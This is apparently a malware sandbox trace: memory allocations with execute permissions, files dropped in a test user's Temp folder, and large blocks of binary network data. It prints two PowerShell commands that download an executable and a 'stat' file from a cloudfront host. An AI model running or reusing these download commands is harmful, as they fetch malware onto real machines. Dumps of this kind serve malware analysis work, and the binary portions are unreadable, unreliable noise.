base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2756
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nscF137.tmp\jan.bat
file C:\Users\test22\AppData\Local\Temp\nscF137.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\i0.exe
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1001','i0.exe')"
cmdline powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1001','stat')"
file C:\Users\test22\AppData\Local\Temp\i0.exe
file C:\Users\test22\AppData\Local\Temp\i0.exe
file C:\Users\test22\AppData\Local\Temp\is-HMERC.tmp\i0.tmp
file C:\Users\test22\AppData\Local\Temp\nscF137.tmp\INetC.dll
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
Data received [
Data received Wo´T˜ ×at…õªî¿´Ñ4Fî‚AèœDOWNGRD ¦´Ù•äOÊèÿ9ƒ“Ì„Z«ÀÒZ»Pû72`)3_€À ÿ
Data received b
Data received 6`¨›^\€²/Yö‡ù%C†çiRšáqãØ- NoöÈIÙ¶óV®+¶tëÏû&㺖.j;X”‰GVÿ% “pSƒÚ„tÃgžh:ߎ@ZJNÏC‘;çVÖpËRî{}®:ç¼1ùEöÂ`ÏY+€Ì4G߹ސemÏ,‘¦¦çޅI|fN£:m©µî4.º ¸3ßGë±k%ٛ΁ÑEF2–p‡ÞIC…¶ls»dêaA¬ÉÔT߇/Ç"²&̟YThŸü¾*/ÄUu@`…U9‹£ð0í0Uÿ0ÿ0Uÿ†0Uœ_ߪ×0+8ˆ¢¸mJœò‘ƒ0U#0€¿_·ÑÎ݆ô[U¬Üשˆç0O+C0A0+0†http://o.ss2.us/0!+0†http://x.ss2.us/x.cer0&U00  †http://s.ss2.us/r.crl0U  00U 0  *†H†÷  ‚#ãŠWÊ}éyLñUýÌSn>GßÆUò²6í€SÄ]4(k¾ÇUügêË?²3ÍX‚øø/õ`ÔÎñÁݧu—O¹mÞ÷“‘º~@,íÁê»vž3w SÝd«‚'ñiÕM^®ô¡Ãu§XD-ò<p˜¬ºi¶•w1^,ü ‡:Giðy_ôT¤•^x`'ΟÂwÿ#Sw]ºÿêYçÛϯ’–ï$š5zœ‘Æ}™ö?ßõrTá©Y{ƒ¿R.FŒ²dvHÓØyènVÌ®,×8™äÊ [ÿ–°¨4IßV©÷°_í3íŒG·0]ôŒ
Data received K
Data received GAñÃb iÅ ÐA‡ë°ÃÛ[GAór£Å<÷‘Ýñ¤îH>‘X!½ZÛÖ$^ÊòdÐ#子æ)(ü„g/eL1’ƒŒ¼’ôWød‘FpÏ^Òn%<#LMŒÜp¶Þ9êc„š³ìyÝà÷_óçx”ZñÜ ¾¡S€±â)Ë£ç VÆ®4xӕ3?³bÿVÐHېÉ$îù¤BP½èø{ü5 m—$åMJÀ- %/jARHƒx“!…hè˜ ÚŸIÑ¢¥wY~ ,ÒéM@Ž‚Ã>Såñ¹o&*ّ³ÆWc@$šU¯6Q+èvɺ˜yȑ:w¶ºtáð6ٔóTÁi{µ0½„ƒå½>¨À;͚Û)¯PX¶:âžlÔ»Ø]«ëº:LvÑÈCóøœ¸ä×°\—¶È€ï¾âüÈk]
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ûÉÚÿ!ê4X$Ðü xXd` ,fÉpLôdÉÊèæ.¤À–ø%ŸÝ;ع]².`
Data received  
Data received ¨ ¯Þ†–^[ŸÃ‘xf³n@@ݾ·ýDX°WäZ¶} ÕÛ2½ý^KˆÈ|W´1±]~Ǜ,>úðÂ|A¬¯cvtùA]KáՕíB@èR™‹:^H—‘DV Á²‰¥Ï—$EÀ˜òôƤ%\–<N½Ã¤,ÕxÍYÏ.ØüTš²9K¨EI¡q••ºÀaAØŒý²¹Ð gmðI¾ӛêö6â¼ìð‘Ù«±Ò¬Zòs}¶_… «xç×ä,å*áÓùaISõ<ݶƒdð ©Of«‰‰2çy>îÊg"u!ÿž¡Üc,ˆÈ‹…— Â… w¸R‚+.£ž•-È[V {»`Qƒi‹ÐU=ìí Ì«¸ ±zïãŽÖÃõIÊ.hs*Ò?¸ BL~Š¦›Hõس‘»á^0³ùŒ¥nI O&ƒbãm ôµÝ_H)%÷Ú'ÒR€ëРï6É7Å@)ˆ8ΈóF¶”¼UpÇ¥Cå*¬ò´Å¥CyÉð•”ÙÊÊ^ðÔijÀµš¿
Data received Wtÿ£®èà@Žý/`v å$³Ê ðDOWNGRD zÆ¢ ÅåYt‰ž!ÏÁM…°O%e‚7ú%ØÀ ÿ
Data received GAQÉËy]L1=)õ_&QPLÓµÑF©óËÚâÊݐ௺<rÉ+©`—‚ç…\¾­¼ÐN1ôB ŠŸ Xé }>T…ò&eYÀ»?U¡W͘~©Þ§«uH™YdЉÞ3\ ¤“8UOæ¤üàl«íë5F«ò7s7΍«!ä Œ¾EKžJЌUÚ¨³ú!d]oMˆíé˅”ßBؽ7¹’ ‡ɐö]j'íöojp¿âÚ# ˜ÍÛÙ³ ¹ö=®9­ÛHƒqû…1-@ì¸Òe(õ£ýM‰L– su`‚K’àpÏêØu €²½õ[ô貟º`…PBÁ¿h¼V‘£ìó;œÍO^:rÍnmàƒÖӞí©æV'ÄäÕd7_xi·îaÓGXç¶ÍJî%ö­CW
Data received “ÏClž?wžÁ¯Ôðô!¢›ü~eYæ ü„j™¹ªençñó.yՀÓ
Data received à
Data received Ï|Èô†NîòÕd#ƒr€ °=\l9Ìè¢ÿÍìË鵿ºÁ<`Ã*®UÜߐFúŸŸÕë(©[‚6”2nxA†‰]ssã¡ÚHDt9ÿq ®/Ùj 4¾yÓ¢òY@¥ÅԔߧ|lÙFN7¿.;ž0ù¦f»ÐÐyÝZF¼ñ^ÉøƒcOJJ¤úÅ%¼¡E‘úbfL^·C¨ÍŒU›ë[Eå¨à‡îA†Rºv ƌҚQ&}ëH.K}7zÀà ]N‡\Ï{ÞeÑ 9vñ ìvöàuj(Ӄ°uRõ1wä T­WÌ|.f„k| ¼Íë\,<Ô6’8›ÕB#_ø°\„⦞×<J:Åò‰®-©,ëp•èYê‘%Qš_UÐl°• ®ÖTõävUïù³~Wt>Þ©D×è'ûù(‰_ë±È¤)ð,¿2#Àñ¢Q_ׇp`¢ôyS䊔5—N#IãDÆËåïL~’§UŠÀ°ÈVTߢê OÖ3–@xF‹ÚŽê¿Hïðº'¿–O}ÐýV‡ÝU¶$lˆ„[B6"-°šÌí“'½¸Cúj†EðŠ§“š¹±—!€hICí@`—ª—ôÂíä
Data received WffQB(±§p<¬kw×ä~¸9Üg³†‹aÀDOWNGRD Ë*=vñ› R=ÇçZe)Q5‹<Þß®Àd6 o7ÇÀÿ 
Data received ˆ
Data received GAø~§&\ét]¬¯FË¥LšÜaÕ®DæOs¯ ŸÏ’XÒÃé þ6Í¡h'= sÀmÀþõ#õŽbÔÒªÖ¯×tн+ ÃesvyXvA£E±Ù¥)ͱHЕ0 ?1ÍëlMúmïM†Œ™èöd»H¿ŸÈŽsm6꯻D't[†'ès]¿³°°dU˜"%_„=`1Õ*Y E nDu­ ­Ñgp„ºóãùw’Pö› %¥Æ™8ÿÒº•ÊoˆÓÍo?×I8ÎJ,zpENeùí<àÉô“â®ú!³sO£¬²ò£ô™’MÆGތ0aH\]û‰ÝÊô™_³ýäwXð~ýzÄê𰙈×þ—R›«qiàµÅn‰vûŠj_õ%’:D|‹Œ•+¥ƒZPgZ"N#÷ãâ]¹¥
Data received •£ŽŒq¶ä¬{ÇI‘@7@cÿ‰Lœ‚í%؏+#¢Ý2?]¼ˆŽç®¿6hæ#ž
Data received p
Data received Ÿ³Ü×V[‰Öö†k¿OLÍ÷m!C«PcnÀ»ÿk™l ;JÂ?;¨[î/˜žÓ }Oƒ¢ZW£]» ó:¿9AÎI"ºl–U«ÈŠHP^ðĦEÀ9äã$2 춴¥\°é†Ë6«Ù,›Á®E¶ÈA2\ÔæOº÷ÂOuкÁVm=!±Ü£ª&w¯˜V×êP Ææ§!ž ¨~P@Y'”7Ù-Ÿ(ÇVæ[aZGÍ&Œ@³ngØ·Th¤øvQµz£Fø#f&\zà,N3=?ÝØçÐù–”ÿøùUìÁa.üè¼$YK4‰eè%<×?2ò WZ¯ë¥›Ìrõ=¥ìö6¦%óÒ3}/]H¹áó¸þõØÝc­Êão$×VB«r+?5ßsò8A—Œañ®žb–éb¢D\¾NGÐO–“4ÏÊ„óQlШº×#`Ÿ™Ò³àÂ?0ÿ‹Þ¸Œ¨üêêC­_Q÷.åM`~;Rµz" ÙӀ(ÓÏh„_´sÿ¨ˆè§£ |köyæü­~°4(+7ύ êÖÞxt§ºËû展OÛ-C@ªÙ™}µ‚z°fµ—]¹‘• ¥7¡Ž±QzÞTzútŸè&i“¯SE«ŒÃF oi5›—IŸ~Ù䫜tã\^€ 5À‡aè Ï´BùZ.½Í;KÚª¡+ ¤Ã¨ï-nòÎÜ»aj£Jcžª¶%Óêò¹zÛÞÃ¥êN¿‘„¹ö®Žï¡Ì‘3n&T+Ý풔…Iõì&ÍܶÀJ;YïD`Ií L”âUÿ%|ãSÎðkO¡ðÜÚ¢R+ðá+œææY]²XHHæy.ÞQwôøV±ûúbØ£P5ñLù[½!›#’ÚO;ÌvŽl"ëNðQ©˜H¹þF MKÞîrGÃsI€{âW{Q#lÀ«c/™ê36¡êg³cl҇¿¼FmP}ßú·œ²“8Ú¬cšë@g:†?$\r¡¸ë4¨Ã¥¯’$Z‹*Úù>ÍŒT°bÔ =ßç}'}[]xmW=ðãÕ7ºç9”"TeÑMG"ȂÇ/ý: ù =!ü¤¦éJV›ĒDz²;À+$üUß7ïÛ¥v.â_8ìJÅ^±“ä‚Dؙ5šÊ§ûXϪ¹Ý±`œ«‚¡ú€¯`ɝŒêm¹"9»Ž¢H´f€[Z$U›|+°÷øæDòðˆ³ÚϖåÝÒæ”-Mƒ¨|Í®ÆîqÀÔ RóïŒØê- R°˜\>¼)Ðxgá3ª³=¬ ÉçTYMÏ…€æ¥®$Ìõ82(&Ďሎ/áçIB¸[/©Ë‰(öóOƛ*Ò6B¯>,x¼%™O@¥i\¢hÁ<‹5n-qÿ;üL–»·9'Ÿ tºú.d=Ïf·2‘“‚øÂ8|Aí­ž3ßKÎ$ GèpôQ…¼D-´À™Ì„w¶×9ït‚w!ê<KODý{±³k¸¯Û3skÚ[SÆø_'oËê ënF70:W&,@s3°6Àtw А¤(ÐnvŸ ù†3¼ ]˜ìIOgq¦L®Cxl<ˆ¾Š¸¹6S[÷+Žlš#îs¬#¿¤2ñÕú“5…+‰sƒf“`hØHÍùs÷hžéðÛã¢p¦K쑬VÁj렌vIN« GéÌ£14Ø Öi'ĝ °†áÄàepÌèMN݊‘¯n9§F›.·qvßnyôZJ]™DŽ@ޗº³G­°Iío;+1K¦®¾ðò6{Nbӕù©3˜¬ÎI2Ð:WIÅ£EAaÞuύŸž?iri:¾˜š
Data received û7ŸË±³Š¿åê/8(nnE ‚Qû¹Á/{„öYiµÄ2g_¶£Ü靝/Úúï9òȁHÄÏ~V®ÿ†è(,î?ÃPa?u¬»¬¯ŠMǛg§üÂx>*R†S…¬ÛªóµXøRÎÁÍG†$:® éYÂъ¡ú½ ø(GvÅ«Úp/ø‘†òŠŠª«µPtøe¦pÓ$-–Φ„lYñzý“|1âŠô‹yKŒâ…þòÆÔ+¶úΰbËE‘]xâP<·­÷݂P­ÑmÐãI맭!ü)°ˆ{ïÈÇÌ™°Ëºü:Ï{~Ea}<µWš¨öèl=ª“@7 16«ób5¬qa­ Çé|·ÑO¡"(°Ú’e/enc „DîuÝÄðHè‹aO¸ÍÊíÀ¢š¹‡[–ŒV˜Òdõ݉5©y„#¡gÄ´A›ÇA3Ø;n—–ŒÝíõ”âA–þ¢þß[£3áT&ꨪ9%~ðÄýJ:'‡õÆì A‘É5Dÿ)ó‹7Cèá Îa:œUj½dãȦ¢ÍYkÆPh²¡@“Ο,Fû2/è[`¯ yùf–ð6æ ìžu‰µÎðj}Rþfµ7Wá $¸UÜ1tâñN¦XH·y8xM{,”zÄÈ’ôs]˜úœN ¿ßMœ;KŠ† ׬»#˜)tšLÓ ±''l…›^æn©n_íä–D£†|l—o1â6ôS<çÊ Š]€ 1Ñ>œž´?´F‚­Ô‹ø#‘Ÿ£[֗šŸMX`4r6ÿºMÓjæôà~­ÿ(\cљ¦{å Ú³(H¯jšX…Žãªú×+Ñ)ìÝ8›ÐÜ4ìamüƒCUsÛ<!Ñ:œy¿,HvÙÕìOkÁšqýS"÷þþWÉ›p~°e`%ÿV¿¤Œ.}[®xÏ *‚;O{äB1›iÐgF!BÆÄBÕ{÷׫.4)ïîeQ}Ò9Cz ©ÑÍ$¿ ­Hº€Î™eÌŠyÄH×:§ÜlÅ/î9Y0 F‚ÁW ßÓ¡ÿ™Ò÷ͤmç):C¢"9û»3)éÑlêԃRùi¢Î âè/½¨Ü.ç`Zó‚œ5¦b­4S¶_½î3iŸ|þªj…òu¦`#QýrE|°©s¥m°†«‰±Ò't­Wžlœ^jhzZ‰¥Û^ßÆÐ$ë§Äú6Ÿæõ‚©cç+IJûs¿ôîj6ȇý/Š~bìD„ç)S'áeIÈmÍÚ/é¾ _mØx÷\ôGZ¦,(bl ;m„Ñ·}}ãMËÑAº”ìøwd"Äg¦„³`ê¾Þ"nñïm¦µÒ¦¡ƒÓC҄ß!ϤÙ¶É[ÉDdÏ°! ¢oŠ/ªäŸóÙdØïºÓÆÌ¿÷,µÎ¡äâ;6•ûº÷º è_@i&RøeÇöÃ/KY(d‡!a°Q—ñZo+×[ØA)èþ![ÏÛk „Ÿ+(”uÝùÔQVÎ ´F/¼Hvê¤VWS×|]ÎQ4Q†{l9ýo^AÌåBšÛ$,\&Á6¢@©ëGJ¿„ ›Éó žÍ&Í&…ÍT†­PAÅÉ©o›R pÀW ï"·êsa¡×*\Ü-Šû|cQ$£?´à¦OOü Ý'«[¡^η”âŸîòtE âဢŒCYâÐK¾é?ƒ¤šòF¾³ýþÜîm«‰ÏSd-h¸š)·9š Î¾Ûì_ræ¾}¡´O”Õ Á³6[œß“©¶ç~Uq½Üj³ËhT©OBg2W nŽV&
Data received ²®ä$°½ÐJyài–i‡UËÿzÅïâ'9'§7jkA·¦B!8´'Dï&ËÈ ±)bcÑxš:Y” +‰ãWì–k¹ÚÖÞð€R ÿ³³Q‡3±•Ó£ù}hàS´ë™Kw4h‘õÂ¥®]Ë>•„_8öÙg߁º²Û¾¸¼Éú°Z›d'W˜ðL5;°nނf,8ÖVLð1–lÒ­{ô9ÁfµÓÜÖ»E •‘una›Rã¡6{‡Lô¾e® ~=2‹Ï?_µ/—ÉÌ11Kÿ¨!¥QÃ/xî-øՍM² Ê0°=°4ÿû¢‚¤3†Bj¹O”;Øv†æYÿ\Od,"At BÇs‚ ” ÞÚÚ9{ÂQˆ)lÎ9ÀºŠ!ºÄ–U÷QT½éìÏ2c#³%fŽÁEc¸ÈûÎé.¶¼ 3ÖjX`k'·ý¹ýµ`òܖEgλoaV?òˆãVµ 5H1ñ« üX˜cŸÀ¡JI´uXߢµtW̟á) Q¼´vL' ”@ØÈfB³ïe_®®e"莺–Ñ°FÁ·‚½›Öñ«ò§¨(RŒÀ¾_³ªÕ"NwCuÏlÇqœÿUê{LVg[ñœ§Êë·B”›XOB[jÖêi0oWõÛzÍ*Íÿ§® Š–Æ5eŠà›ü¶®ZX›1 tîÐ1͟%ËÅd+òÖóúÒߌ¨¾Œ¾(6Xh(¨*þ´9Êϟt*hxI,z[ÊëœÕÐ}A²Œû’½eÖÔë}ßãÛ﯄VÎ2Ò-Ò §\“©Æ˜à‰åR{ñ¯)VÛ¤|¸ž(.åøä%"Ö uc¦ý U5Fi„Û5a©)vxMèøȪ{Ò«~Z¸¿œ÷ökR µ9Ôpú qÚó¬/ÒªÉoNØ'É£ÖÚ©Ç؂E5P«JÅäâ!}—‘óü ‡´Î ~â*G [b¬ 4‹iX ܦF‰³üj©‹€Ê¨°•ÖO[#òÑÑç8AX5·<´ $Iרä~žå:ì~‘äçþX—û ôl…Ý)²Å¤‘m|Ì+dNñ”˜ßUiúvûDzÜBía”Ý>6šQ¢^­P‡ßŔ-ë §ÌÅE\AôV0€ e¿½0¹ë•Ræ T*¹Ê¢yëÉli ¹ñÂ%ŏßÞ´TU%y’Ò#+t¶ó¸¨NjíODƒšz’;Šý°nès9Ï¿§*7#/m5Ýz±Ûüm·PC‰²ÖÏÆîÊá{ˆ @ Œ¶ÊŠ`Æ¥6‰A'ƒQ×  ô õƒri/o¥zkG2)~“UŒ7íô0SG™vË&Aâü²7“mÞȜÞ{ âiýpÑ6å¼Ýú¿zÔV¼’y¸~Ø1õ~‰M~4ÁºÿÑÙp/gÅ"—/æ&ÒÚëöT©üO‚iÛ¼ê\ªË#ÚoÅÍ3ŠXL%á(÷Í£ýÝht– :¢oDêÑ×HÉÛ'ÿ\bÈ¢‹øgUV Ã'²ì(eF°µŒ¬ =!t‘ƒðÆ[´¥‚ÞhØó"ðRJ•è¦à&íŽ:})Ôý_HkÇUÈ j¹ \.?/}râ%AñÆOÏä&5’W{€¼šK;./.<` /-ÐîÁ]¯ª”%¼òÎy÷·sgóœGÚÎÑ{6_ÿG"—m~:I ™®âFX\Žx˜øÞú£eªwöœz’pLÉe ØeûUõ»š0Lé´@÷C‹Õ8û„Œ°8'/»®ÔËÁTúͬ ;©h,b‘8Šüo, þéh[hÛžDõL—õq·íe$
Data received ¶mŽÔ‹ËæÅ÷Ó«:“Ä/A¦mË[¯›Ëí•0”¢`ڟˆÍA㨣”µ™4ézq?Ͼ…… _ÇÑ&íž *öQïiЩ$ðÀ=Ôêx7©S˜4‘O<j=Azíi”¤éR•r"ôiìp@ËÖJLûnÿù¹KG㒠jÔäJ¯-²(,bMŽÈ¹@%hÜ̬@¶°Y Ьï°[ãÑò?ntOgð‹ˆ&d¡·+¢÷}…›ð)€ÀއppÚ'Š®èbðq•£Pkü@+òB¥bËÚOºdzFíƒêš±ÿ¤©(“'¿ÿYºƒ¨ª»Çf4§˜$ÂnQ\<ûY‘ç|w‡±éÙìAc’^ßT¡ÿV³ÛòeÁiz¿q²O2,T6Ï^®v?“ÁDk²¶&†´†(ǓĔÅÍèzäþèËsõ†íù²ÿSv>E”¯ >T@ÖS›_"ž[Z7s)»›Ð4×ù§ˆ›ªM«¬ã‚B7ä<Ôd™L¨õÐ˛X8‹0YlB6²Sô½à^^ïéÎÚW²#®:û;YõŒ>óñÙ-X÷{‡Œ¬»IǑPÝVé) kËNsÌá×iìiG87¾ï l)Ìý51g1y’#]Q¹9 àòŠ¦VN§ÞÊw„Ý ¿à¯bkßܱD(kOiq˜õªI‹çW…þ¬Ív¤ªZ†Ÿª‰œ{Í׫Gݘñ½„l£COÍ*j Oñ*îfÔû‚n†'#eš™“êÿV5Çìkà\òÄͦT‡î®ôéÀ_BêoÃò„;ÈjŠ™ãÚX¦VX¦(@‘¯¥\v-7ýäïá°Q¶+á7{Ã^¿ túÎGUF>PJbÁäªe&ð§k<€8TOëáoߞˆ[.[ '«‚yC–šñ”Ù:9ÙòyÓ ü`‹ÔÈ­;üöz›[¾p+þ¶G­ˆÒÑÕ ¿ò%‚a»æ»ê@PÑ%b½ ða Üf;QÃÙ£@«ïó'¬â8ªå'ZρºXžF6T€T¡ÀaøtnfSî®CœßÏ®Oj@»g]—°p›r˜8șĢo§-ÌÂj7ØSOTTùº…Fý¼0zõe J.F´àB浡q‘ÉÏ-órFzá5^ÏHϜ-q0ÿž¿Ù¸€0C†¿+!å jB*WÚ6çõЀ4½Y]¥8ø(½½äۄo9Ck`]50Ï~'<è´ñ†¬j¬ÛÉÛÚubXÙf¢†ÅT‰Cã·i³t›ç«=ùŽ—Ed/B“G•€&ö¶Ó«È»ŸYOWxsמó¤ 52ØÑ3¦¬ÅЁ"Ø+aÛӈ>]®ðònŽºÌêì ¨ƒ5ñ:;";oi+‘‹FV}É;•­ MÜñÇa©3Xý?D~.n»*.cx@î™s¿ç•¾¥Þ¿½Ùh|ÊøjmçL‘n.;‚zV&М¡^"]jtr'·\ pqy‹ÑÅGMG €zjݤô%‹6§ÝéäjóS¨Q+%`Kñl% Vô»ÑTK.ÌÄ,•{kÙeÌY­Æ øŸÃÍ,”³>Ifw×÷?ìkxõBÇ@ ¥„;² ¿rû¥êP0÷åé<֑fœ†í•‡#:àœË´”tøÊ,‹¶,e ‚®]í¡÷îN:5Î]1²3Y*𧊠Új»r°g-W¬Á0—ùžÃz¬•61É¥)Š£°×ƪ"͈°žÛ‰gi½ì-<zÅ+ÀeT¥¿YÏ~¿’3IX,á2
Data received 5êi¦Z€ŠòmÒduñ qY+ͼŽ•§Êð±Ùý½-ˆø¼ÆPºÞÃVGÍ*ãÎs¥†÷òOóVUî—a=èÚp¿7çU`¡Ù’¦;9C}˜Ú€b]@P¨ãã×H¾ !…­ÒU 5LÉáuá Z7:æÜZM”j$ÈÌFD³3òŽ 9tÎÐo4×éø¹{8Á Šé×A29Š¸´¶ª¥HØ¿¸%û·î¦ø}/,a¡,žÈÇî€ÎTŽ-u„Û>WH8u“{‡­:}k½&8>wæ ŒäˆÊáÉӉW¦|®EDÝ»4@ö*Zß6›&0<Ù&Ç?bWªdÌApu嚨äKö÷ÅÜ¿µÍ¨ª…D¶.»è žÚ"„™Ì?%BtH£Ó@M$Ö¿ÁÔÅÛÒè¢_نKNÝx¥iH@^ž_؝Nüõf~!¸3®¾£=IOü‰W†™h#@ÿä:›W¢åVՍò_»˜±LâWkV•3̘xØ&(7šfGhW'ݹgðM=~…Øi‡‘‹P ýM(›‰¼ÖVM¦Ð:›eàéÐÿÖ6Ù.Sˆý&Ą³Hù5…oøŒ‡zYÏ·”8ÓçÌ2ñ—I ä•ò¹4EI¿ %ÌK#uÿTÊù´ð±•ùº°ÂÆcǚBE:Ø 4<OÑÈÃ}õg5M½±þ¯WäÉÓkE$ÚŠÍ5^¾‡KÏJ­qŸaºmU)ŒÊV_B”x‹¯ëlI76T—¯°‹C¯Â&šiÀÌ͌nÚ:Ë9Òúåµ.ÈvÛ뤼ÜCóO€qeþ:j‡¼8heko¬þ€Çï6{ƒÖۘã·ÏúqT0¿ŽË9ÆÚ}֌%Ëw3‹ÓÇN¦9AÚØí_9Àš»¹“}äsOÓDböß´k¦‹¢w‚¿ ¶)uçšaōߍÓþ¯wÑ@ÙçB†Ôm×±K­æµÆçoÄe¥¢i5“š£›( ¢b2¶ÞD§3éÃðï?ŸÖr öJ|çg¯O¡óŠÖŠ~šô?«[Ú½WÀ<*8¤rÆåaš¢„¥ˆÛ-g„q;öLÝæ&Ù:Q/"tiø€•cÙä!=(kaÏø†(u »Æ<ðªSâ)x•ä];궲l–z¬.3 䯝ü5 Yhé#>–&WJÔ¯äŠ+®:Ò'6¹DhQÉD¤?]2Ž)&!O­VŽ¢í6!j£òòó¼œyZôóE¸7­û‚¤Y‡ß)š >4\§ÎGãğcê×B+­Šz{f -̃Kì–U. ³ñÆE;¦JâCâç¥-SpðZÕ ÖstCDƒìŠyæî$ñÓiõË8ÍÌ®[Ð5£r/£“ iÞÀÐ>ò\ô.:ëkÃô‰¢ ›BâŒë3åtB7)eN¿.AMœŽ“:ÂÊ3 \TYÓ?çuo4Ž]~B¶‚^^u¥¹ä®¨‚S åï¢>%0ª¶5ÒÜTÁè^!½ÈÆX;ÏáÉFš!Ð%2ßW*p²ìeŸ+<ø)>~ϒƒʙ®­ 7F`ßyfeúh|Z ž.²OµYO[ò…÷Z†•+Éæèéòù¹á;â>ixÇ;¹ÿ_üþ³ÁøÝ¡ú’ÛZ~3èUoXÍ¥!cç2Ìr[/Ž=l£O8¤² šbrRc›È~ZM”Ô&e»I†·n¾µó÷¶Ž2#ëэ^ýÙ£˜Á†kïã '%]e<fÈñ]’Pñ|ù/¯Èù96!ªBç–
Data received « AҖE„äa97‚²>ÙhH©õlö´ Ì9'ei`R§m3…˜Kªj¿Q ØàlÝÊHü™ÏÉ/^ýúyWœB£•©¾AR‰jߌ¤ikÞºÒ‘r”O%œ9 Å¢¨k¡adá[ì”J*qˆÂŸüê`¬}&ÙT4êÏ:néÙÌ5‰Z7´ OÅ'çÂZ±In:Ì)Ì⏳ vØÞíþԚ™ÛwG·ˆroøJ>ªsÆcVnçûH«Oc ‚Í“vtK,‡‡¡÷«Ï¿µ'äëd´ØZI³ìDò`ètäèKVYÐ/ïYUþú¬.úˆ€UßR3ætЎÊzû\påiŽä¶0 «òþ³¼·l_ðÝGRmÂNä¥RŒ@ýD†8rEF1Hîþ=L‚eq…‡nbÀá¢A¦«70èµ5·V6k+Àe­uf÷1iþHêœ;!ÉÛ>äÕý 8ŽÔP¢ÁtTÆ;ü×oPBK˜ÖŽ9éB õ„³þ©å'ŽÎ½Ïæ[¥»W\2•¥þþÂôqމÐÏDÑër`D"K˜a?&Zôü@d6*œ•HÐôԓ´³çÖ<ÒgÚ·ôÊÛUà¤NŽm55-ÝSñ<BðF^Ä:R¿âiæüã÷Ðǔ+ÜdÙ]TºœÄ„èìƲ—ïcy6Vý“Ì‹ÚÑó Ë6´¤”C$O€Â¿ùKĪ¤*4.gb¸ü¦÷|8ÓlÆ  r[idŒl©áK !#?Îغý3WPÙzW.á{+äË*gò…;¶EÊ)ŸõÑC¬ªT™ä¸åSJíáèy ªxïA‰çr©R˜[‹Ñ¸]]|±?_zÔãÏÍfXß,Ýy¶PÞ= %bàwëÉ–óó¹¸8€Ñ–·_“f¶@}ûWÑæLú.B†vçdšp«˜ƒ•¬h¤p>Q„d[òyv…¿[1œ~àQ-ƒŸî˜vó˜Uit†k÷IH~Í.¡Ž³=Û­ I„eiGŠé"•Á¬ß>Q_'¶ò€B™'àeìWÏ»5 ª«sÛ¼MjZ±ÎZÁrAòARÇýê$š$|¸•7|„Âèh‹w[…†C©õf]tÅÄGŸ­RVPµI•z¹µ¦˜1j+úŽ“J’‚Õq8\°¬æ¢kϵ!¥:§áù†5םa”9ôfî©ùÂw¦-È^$iV÷àró!18–ã¼ ØAéßSBd>‚Þœ¹ÂŽ–Õ:-ãh;¤TÎü¦®ç™ÞÝ~*M¡i ök>0‰B&²]Ù¶KUï‡A‹.Þn³¦hdeËW@e£M5(í(Ôïpã¡ÀˆÆ]Á[ñžÿÆ„4Z&ÕöK{ށ¯ñn¨¿Ì­ãÜëþ=ç¡l-#^ÓªÎRôáhåïO"lQ”A-üN¾UPJq4ÅÎ“Ï dMG/"Snð×È O-Ÿg®óޝ“øîL&< .b©nãMˆE—£ö€ShlӠ”¦I0ue’ƒN‡$ˆ÷ï P^`_¾·ôŽd¦À1KAc¥ÉÐäôF†6`¸î]Á ø ‚ój¯ƒÇßo{l½\:½úJêú|¤›óÆÅ2Ÿ¯{Ÿîòí½HQאҡ[÷N‡ŒW6Ò[B¢1 ­GqF+xøÔ8¶ S_G´zAÄñç®)ž’ž4òD¬4ô¦­.*Ȇù—¢GÖõ]·€sMhw&îD þq³²)v·ò¨£]òÙoz;›Õ‡#jÂÅIwÒa¬ùS•®o³Ç9zÖ×ØfhwÆt(ì¡
Data received OÅ;ÑJ²¥ Ðz"s©Ý< w¢ ë‘~Œnrç«Õa^͌×ÅPÛ#ŒÛmà@ P?É»Ó?ªµX¾! cF{ÑõHø(Ƙ:ôÙE¼Óü5T™Ó5r}¢ÞÑþ̍퟇‚ôõ:Tn9ƎßÇ{uG¶®òÚX§-‡W폏³ û9ߺ¢Ž¾v~oµáé@¤P`gÓÓj¹ªó 5K ë:ž"}fGpßÑ#.l‡~’‚]Càœqݗ^!E¿%8ºŸ5Ò îõ·ùTÎ*¸ë¤nC-~%>:Ä}ëÏÖ\³sâ׋©”òºJìÞZµÐMÁÏÛãï »R¡sK’ÖF5öuv¡0„j$†”ö6Q§ ËIN¨À{8e ãT`PYtÛ.f¶jq@¾}´Ñ;+jÊtDËHntþJE^ßÑ¡Åêÿÿ‹a،Àâ‡af¼Þv|õH›K}t´‡rÌCuôÆöh‘Á‚ÂCf¥Ó'Îäþ‚2ƒ½ÁÇ@%NßÞîH("¼õsˆøݴ̦LŸJZÛØçÛyj±Æ´ìYÅ7ai‰€ùD¿`ì,¦ø÷ÃÝ#RŽ©`V鐇†aì¼7kO€`aû'% 8†>ð:òî¬*Š²ö××Ñc´‹®Yÿ¢â¶•èO×+-’ö¡èØÈÚ¨T5sV¤>äÌÅ^Ò®•t(L~gÏÑ(S ‘ÿ9 y;Bþ/ý鵜FÒ":( î'Õh=û™R†ªåAéTÄôµIo2 ¼ÞxCž·B¨Ã8;C»êÄ %hpKõ3>iùV¥ÌÉfwpìÑøž×óĶòqs¶‰Mqf9뜫îôÉYœ žíƒú'S«„΄4ºzr E\”–’ØJNŒs(æálíàYFÙ$Ú ¨Óꪻzèj%\¾®µ\w9ÅËÜù‚a˜3ƒwÉ+o¯ö›‡í/íèu–ýb}w˜„HÄʱH«d 